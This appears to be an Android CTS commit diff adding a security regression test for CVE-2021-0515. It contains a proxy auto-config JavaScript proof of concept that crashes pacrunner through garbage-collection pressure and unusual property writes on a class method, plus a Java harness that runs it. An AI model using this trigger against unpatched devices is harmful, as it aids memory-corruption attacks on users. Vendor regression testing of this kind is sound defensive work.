CTS test for Android Security b/167389063

Bug: 167389063
Bug: 185152951
Test: Ran the new testcase on android-10.0.0_r39 to test with/without patch

Change-Id: Ib79bf4503d9b59a21c06c5e544d3e4e9fd63e791
Merged-In: If817b15b8e994bbbcf0ce19e00948cd8791e19d1
(cherry picked from commit 982f1b8faf4c72bedd0b462ed44fbcb6a360e052)
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0515.pac b/hostsidetests/securitybulletin/res/cve_2021_0515.pac
new file mode 100644
index 0000000..fa115b4
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0515.pac
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function gc() {
+    for (var i = 0; i < 0x10000; ++i) {
+        new String();
+    }
+}
+
+function gcc() {
+    var temp = [];
+    for (var i = 0; i < 0x100000; ++i) {
+        temp.push(new Set());
+    }
+}
+
+function SDD() {
+    class H {
+        ['h']() {
+        }
+    }
+    let h = H.prototype.h;
+    h[1024] = {};
+    h["a"] = {};
+    h["a"] = {};
+    h["b"] = {};
+    return h;
+}
+
+function FindProxyForURL(url, host) {
+    SDD();
+    gc();
+    gc();
+    gcc();
+    h = SDD();
+    return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0515.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0515.java
new file mode 100644
index 0000000..ae1f607
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0515.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0515 extends SecurityTestCase {
+
+    /**
+     * b/167389063
+     * Vulnerability Behaviour: SIGSEGV in pacrunner
+     */
+    @SecurityTest(minPatchLevel = "2021-06")
+    @Test
+    public void testPocCVE_2021_0515() throws Exception {
+        AdbUtils.runProxyAutoConfig("cve_2021_0515", getDevice());
+    }
+}